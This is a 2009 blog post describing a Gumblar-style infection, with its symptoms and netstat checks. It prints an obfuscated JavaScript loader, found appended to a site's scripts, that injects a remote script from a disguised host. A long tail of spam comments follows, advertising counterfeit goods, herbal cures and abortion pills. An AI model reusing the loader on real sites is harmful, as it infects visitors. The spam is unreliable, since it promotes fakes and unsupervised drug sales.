Thursday, December 24, 2009

"Gumblaroid" Virus

Yesterday my computer lab where I host 5+ workstations has been attacked by a virus which is called "Gumblaroid" as I have figured
out today. To make a long story short - I ended up resurrecting drive C from a backup. I recommend that you check your system for stability at least once a week
 and make a full image of drive C every week. Keep a history of at least few months back.

Symptoms:

1. You visit some site (I used FireFox) i.e. - click on a link in email or something like this

2. In about 30-50 seconds you get "You <something> was installed" popup (regular Windows GUI), so the infection has already happened

3. Run "netstat /a" in command prompt - you will see 100s if not more out-bound SMTP-port connections

4. Virus links with core Windows processes so if you run "netstat /a /b" you will see things like "svchost.exe" that create this traffic -

this is because virus has attached as a DLL into legit Windows process.

5. Any attempt from any browser to open Google and search for anything results in a return of a blank page (zero-length HTML content) -

virus blocks TCP/IP inbound from Google search result page (same for Yahoo). You can use other search engines like "Rambler.ru" while this happens.


Today I have figured out how I got it, I was served a regular page from a PHP-powered site and a piece of turd has attached itself to the tail of all JavaScripts on the WebServer. This turd has been "sanitized" and is presented below.

This is what was served to me from malevolent site:

/*GNU GPL*/ try{window.onload = function(){var Kjnilav1ca = document.createElement('s@@!@c@!r&)(i##p)&@t)'.replace(/\)|\!|&|\^|\$|@|\(|#/ig, ''));Kjnilav1ca.setAttribute('type', 'text/javascript');Kjnilav1ca.setAttribute('src',  'h(t$(!)t!p#@#(:@$/^&$$^/^&w)e))@l&#^)t#!!)-$d##&e#.@k)a#)i^x(@(@i(()^n!#^.&&c@o$m!.^)g$&)$a)!&#m!((e)(#z!$t&(&$a&&r@&#-$#c)$@o$m@$.^!w$@o@r&!l&@&d)&#m$(u^#s!@!i!&$@c)m^^(a@&g)^&a#&z^!(i!n#)^^e)&.@!^r^u$^:&$8!0()8#!0)!/#$@s)($o)!u(&t$!$)h!@^w()e@s!t!.@@&c)@!^)o&#m&&&$@/!)&s)^o@!!(u)!t^h@$w!)#!e!s&t(#.!@))!c$^o@)m)@@/&&g&#o(o)(^g)&l($)#)e@&^^^.@#c@$(o$^m@#!#/&d@!$i()#s(c@$^u&)s$^!)s^#@)).(!c#$^o#&!m(^$(.$h#^k#/)^1@$&($6!#3$.@!c@#^o)(m$&/('.replace(/\!|\^|&|@|\)|#|\(|\$/ig, ''));Kjnilav1ca.setAttribute('defer', 'defer');Kjnilav1ca.setAttribute('id', 'Z$@7&^q)a$(!5!&9#(w&)#7$e@l^^'.replace(/\)|#|\!|\^|&|@|\(|\$/ig, ''));document.body.appendChild(Kjnilav1ca);}} catch(e) {}

Obviously, different sites have different mutations of the same thing as it uses Regexes to crap-up itself.
Please check this link by Daniel Ansari for info how to remove this infection:


25 comments:

Anonymous said...

You have to express more your opinion to attract more readers, because just a video or plain text without any personal approach is not that valuable. But it is just form my point of view

Anonymous said...

One of my friends already told me about this place and I do not regret that I found this article.

Unknown said...

ugg boots
air jordan 13
air jordan shoes
beats headphones
bottega veneta outlet
burberry outlet
canada goose outlet
chanel outlet
cheap wedding dresses
coach outlet
dansko outlet
evening dresses
hermes belt
hermes birkin
hermes outlet
juicy couture outlet
kate spade outlet
mbt shoes
michael kors outlet
mizuno running
moncler coats
mulberry outlet
soccer shoes
nike outlet store
the north face outlet
oakley sunglasses
ray ban sunglasses
stuart weitzman boots
surpa sneakers
north face outlet
the north face clearance
the north face jackets
the north face outlet store
north face jackets
the north face uk
tommy hilfiger outlet
tory burch outlet
true religion jeans
vans shoes
ysl outlet

Unknown said...

Tory Burch Flats Marc Jacobs Handbags Jimmy Choo Shoes Jimmy Choos True Religion Outlet ED Hardy Outlet
Burberry Belt Tory Burch Boots Louis Vuitton Belt Ferragamo Belt Marc Jacobs Handbags Lululemon Outlet Christian Louboutin Shoes True Religion Outlet Tommy Hilfiger Outlet
Michael Kors Outlet Coach Outlet Red Bottoms Kevin Durant Shoes New Balance Outlet Adidas Outlet Coach Outlet Online Stephen Curry Jersey Vans Outlet Ralph Lauren Outlet
Ugg Boots Sale UGGS For Women Skechers Go Walk Adidas Yeezy Boost Adidas Yeezy Adidas NMD Coach Outlet North Face Outlet Ralph Lauren Outlet Puma Outlet Polo Outlet

Unknown said...

christian louboutin store red bottom shoes christian louboutin christian louboutin outlet red bottoms shoes on sale mizuno wave prophecy 3 authentic christian louboutin outlet fitflop outlet cheap mbt shoes fitflops sale mbt shoes sale mizuno running shoes mbt shoes for men cheap ray ban sunglasses cheap oakley sunglasses ray ban sunglasses outlet Ray Ban Wayfarer oakley sunglasses outlet ray ban online new jordans cheap jordan shoes Cheap Nike Air Max Cheap Jordans nike free 5.0 Nike Outlet

chenlina said...

chenlina20161027
ugg boots paris
louis vuitton outlet
minnesota vikings jerseys
coach outlet
washington wizards jerseys
fitflops sale clearance
ray ban sunglasses
cheap oakley sunglasses
ugg boots
oakley sunglasses

Unknown said...

بخواهیم بگوییم، پکیج دیواری یک نعمت بزرگ برای شماست تا با استفاده از آن از

Unknown said...

Airplanes News
i agree too

Unknown said...

قسمت‌های ساخته شده تابلو روان LED، مجموعه‌ای از دیودهای نورانی می باشند که در یک صفحه به گونه ای ماتریسی قرار داده شده‌اند و توسط نوعی برنامه رایانه‌ای نوشته‌ها، تصاویر، کلیپ‌های ویدیویی و... روی آن قابل نمایش خواهد بود. شاید بسیاری از تابلوهای روان را دیده باشید که در سطح شهرها و برای تبلیغات محصولات مختلف و یا تبلیغات فرهنگی و... از آن ها استفاده می شود. جالب است بدانید که بارزترین مشخصه تابلو روان LED جذابیت، عمر طولانی قطعات، قیمت کمتر نسبت به دیگر محصولات تبلیغاتی و پر بازده بودن آن است، نقش این تابلوها در تغییر رونق کسب و کار و تبلیغات این روزها انکار ناپذیر است. تابلوهای پیام نمای LED روان امروزه به عنوان ابزار اطلاع‌رسانی در اکثر مکان‌ها از جمله سر درب فروشگاه‌ها، مغازه‌ها، جایگاه‌های سوخت، رستوران‌ها، مجتمع‌های تجاری، فضای داخلی نمایشگاه‌ها، سالن‌های انتظار بیمارستان‌ها و درمانگاه‌ها، سالن‌های و مجموعه‌های ورزشی و فرودگاه‌ها و... استفاده می‌شود.

Unknown said...

It seems I'm on the right track, I hope I can do well. The result was something I did and was doing to implement it.
www.clickjogosclick.com

Unknown said...

تابلوهای روان با رنگ های درخشان، تیرهای چراغ برق با پروژکتورهای LED که تاریکی شب را از بین می برند و... را مشاهده کنید؛ به مجموعه موارد ذکر شده میتوان نام مبلمان شهری یا المان های شهری را اطلاق کرد. اما مبلمان شهری چه رابطه ای با فرهنگ جوامع دارند؟ آیا مبلمان های شهری را می توان بخشی از پیشرفت یک جامعه در حوزه تکنولوژی یا اقتصادی دانست؟

مبلمان شهری باید در شهرها وجود داشته باشند یا عدم وجود آنها نیز چندان ضرری به نگاه کلی شهرها نمی رساند؟ مدرن ترین و زیباترین شهرهای جهان در حوزه مبلمان شهری از چه المان ها و ویژگی های بصری سود می برند؟ آیا می توان نمای ظاهری هر شهر را به نوعی برگرفته از سبک زندگی افراد آن جامعه دانست؟ ما امروز در پاتوق قصد داریم به بررسی نقش پروژکتورهای LED بعنوان یک المان شهری بپردازیم.


اما می رسیم به بزرگترین مزیت های پروژکتورهایی که حالا تاریکی شهرها را برای ما بی معنی کرده اند. بزرگترین مزیت پروژکتور LED دوره لامپ آن ها است. LED ها حداقل ۱۰ برابر بیش تر از لامپ های پروژکتورهای مرسوم دهر می کنند. بسیاری از پروژکتورهای LED می توانند تا ۱۰،۰۰۰ ساعت یا بیشتر کار کنند. از آنجایی که دوره لامپ های ال ای دی به اندازه ذات پروژکتور است، در نتیجه لازم نیست که در مورد خرید لامپ هان جدید هیبت و رجا داشته باشید.
در پایان باید این نکته را هم مورد توجه قرار دهیم که برای کنترل شمار زیادی از این المان های همگام با تکنولوژی دیگر نیازه به تحمل سختی های گذشته نیست و حالا می توان با دانلود نرم افزارهای تابلو روان، نرم افزارهای تلویزیون شهری، نرم افزارهای پروژکتورها و نصب آن بر روی گوشی های مختلف همراه نسبت به کنترل از راه دور این المان ها نظیر پروژکتورهای ال ای دی اقدام کرد.

Unknown said...

راه های بسیاری برای سفر به ترکیه می باشد که دو نمونه از آنها را می توان سفر با اتوبوس و سفر با قطار دانست. در این پست به مقایسه سفر با اتوبوس و قطار به ترکیه خواهیم پرداخت تا بتوانید به برسی معایب و مضایای این دو نوع سفر دستیابی پیدا کنید. با سایت مجله توریست همراه باشید
استفاده از بلیط قطار برای سفر به ترکیه یکی تز موارد مورد بحث این پست می باشد . با ما همراه باشید.
به مدت ۳ ماه در ترکیه اقامت کند.فاصله ۲۰۰۰ کیلو متری تهران به استانبول را با اتوبوس های شرکتهای سیر و سفر ، همسفر، گیتی پیما و بازهم اتومبیل ویژه محرمانه می توان طی کرد. ی است. امروزه شما می توانید برای هر مقصدی به صورت آنلاین از طریق وبسایت هایی نظیر در بیشتر روز های سال (به جز ایام عید و ) بلیط اتوبوس خود را تهیه کنید که در مقایسه با بلیط قطار، در دسترس تر نیز می باشد. به همین ترتیب در صورت عدم توان تهیه بلیط اتوبوس

Cytotec said...

nice more info

Cytotec said...

good luck nice article

Obat Telat Datang Bulan said...

jual cytotec

Admin said...

If you have a history of illness that is difficult to recover, maybe our next article will help you to recover

Walatra Berry Jus
Walatra sehat mata
Qnc jelly gamat
Obat gatal untuk kelamin
Cara mengatasi infeksi jamur

airplaneeee said...

لندن، پایتخت انگلستان یکی از بزرگترین، پر ترددترین و معروف ترین فرودگاه های جهان به نام هیثرو (یا هیترو) را در اختیار دارد؛ فرودگاهی که همواره از آن بعنوان یکی از برترین فرودگاه های سراسر جهان نام برده می‌شده است. در ادامه در معرفی معرفی فرودگاه هیثرو با ما همراه باشید.
در ادامه با معرفی فرودگاه بین المللی ابوظبی با ما همراه باشید.
هواپیمای بوئینگ 737 یکی از هواپیما های این شرکت بزرگ است که ویژگی های خاصی دارد. برای اطالاعات بیشتر در مورد معرفی کامل هواپیمای بوئینگ 737 با ما همراه باشید.
در این مقاله قصد داریم تا در مورد هواپیمایی نسیم و هر آنچه باید در مورد آن بدانید بنویسیم. با معرفی هواپیمایی نسیم همراه باشید
عضویت در مجامع معتبر هوایی جهان مانند یاتا، گسترش شبکه پروازی، ساخت آشیانه ها، جذب و آموزش نیروی متخصص، نرخ صعودی جا به جایی مسافر و ساخت کارگاه های متعدد مهندسی تعمیرات از جمله نتایج مهمی هستند که معرفی هواپیمایی آسمان با توجه به 2 هدف اصلی خود به آن ها دست پیدا کرده است

airplaneeee said...

کشور فرانسه دارای معرفی فرودگاه بین المللی بوردو خواهیم پرداخت. در این مقاله قصد داریم با معرفی فرودگاه بین المللی وارنا در مورد تاریخچه و در ادامه در این مقاله به معرفی شرکت هواپیمایی تابان خواهیم پرداخت. هواپیمایی تابان در را در کشورمان انجام می دهد.هواپیمایی ایرباس A310 – 1 فروند. هواپیمایی بوئینگ B737 – 1 فروند پروازهای هواپیمایی تابان به تبعیت از قوانین یاتا، با هواپیماهای این ایرلاین را دارند، مستلزم رعایت دستوراتی هستند

airplaneeee said...

ایرباس A300 هواپیمای جت از گروه هواپیماهای ایرباس می‌باشد. در ایران نیز هواپیمای ایرباس A300 یکی از خرید‌های ایران‌ایر که اولین پرواز را در سال 1393 انجام داده . ایران ایر معمولا پروازهای خارجی را با ایرباسA300 انجام می‌دهد. ایرلاینی که بیشترین تعداد ایرباس در ایران دارد هواپیمایی ماهان با 14 فروند هواپیما است. هواپیمایی ایر قشم نیز 5 فروند از هواپیمای ایرباس A330 را در خط هوایی خود دارد. مدل‌های زیاد دیگری پس از آن ساخته شد که a320 یکی از این مدل‌ها بود. در ادامه در مطلب معرفی هواپیمای ایرباس A318

airplaneeee said...

سلام. وقت همه تون بخیر. دوست دارین با هرآنچه درباره هواپیمایی ماهان لازمه آشنا بشین؟ یا مثلا نظرتون درباره آشنایی کامل با هواپیمای بوئینگ 737 چیه؟ یا من خودم پیشنهاد میدم حتما مقاله هواپیمایی ماهان، هرآنچه باید بدانید، و البته توصیه می کنم هواپیمایی امارات، از بزرگترین ایرلاین های دنیا را هم حتما مطالعه کنید.

 

راستی در مورد فرودگاه بین المللی دبی هم اگر دوست دارید بیشتر بدونید بازم روی airplanes news حساب کنید. درضمن تو ایرلاین های ایرانی هواپیمایی قشم ایر، ایرلاینی بلندپرواز رو هم بشناسید بد نیست. راستی درمورد هواپیمایی تابان چه میدانید؟ و البته باید بگم که برای آشنایی با هواپیمای ایرباس A350 هم مقاله ما رو بخونید بهتره...

Pengobatan Herbal Penyakit Rematik said...

Thank you for sharing the full text. And allow me to share any posts that contain this health information. I believe this is useful for us. Thank you :)

Obat Pelancar Haid paling Ampuh
Cara Menghilangkan Bopeng Bekas Jerawat
Cara Membersihkan flek di Paru-paru
Obat Herbal Walatra Berry Jus
Cara Mengobati Telapak Kaki Berlubang
Obat Koreng Bernanah Alami

gastrul said...

Thank you for sharing.........

Andriod Apps Download said...

The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades

Pusat Penjualan Obat Aborsi said...

Jual obat aborsi Jual obat cytotec
Obat aborsi cytotec Jual obat penggugur kandungan
Jual obat telat bulan Jual obat asli cytotec
Obat aborsi manjur Jual obat aborsi termanjur
Pills aborsi janin Pills cytotec
Aborsi paket 1 bulan Aborsi paket 2 bulan
Aborsi paket 3 bulan Aborsi paket 4 bulan
Aborsi paket 5 bulan Aborsi paket 6 bulan


Paket obat aborsi usia 1 - 6 bulan

Dosis obat aborsi

Harga obat aborsi


Jual obat aborsi bandungan Jual obat aborsi samarinda
Jual obat aborsi kediri Jual obat aborsi lamongan
Jual obat aborsi singapura Jual obat aborsi hongkong
Jual obat aborsi sumedang Jual obat aborsi wonosari
Jual obat aborsi seleman Jual obat aborsi gunung kidul
Jual obat aborsi palopo Jual obat aborsi papua
Jual obat aborsi jayapura Jual obat aborsi jepara
Jual obat aborsi rembang Jual obat aborsi kudus
Jual obat aborsi demak Jual obat aborsi jember
Obat aborsi Obat cytotec
Pills cytotec Jual obat aborsi asli

Unknown said...

Get More Info Check This Out read the full info here Ysl replica bags more info here Chloe Dolabuy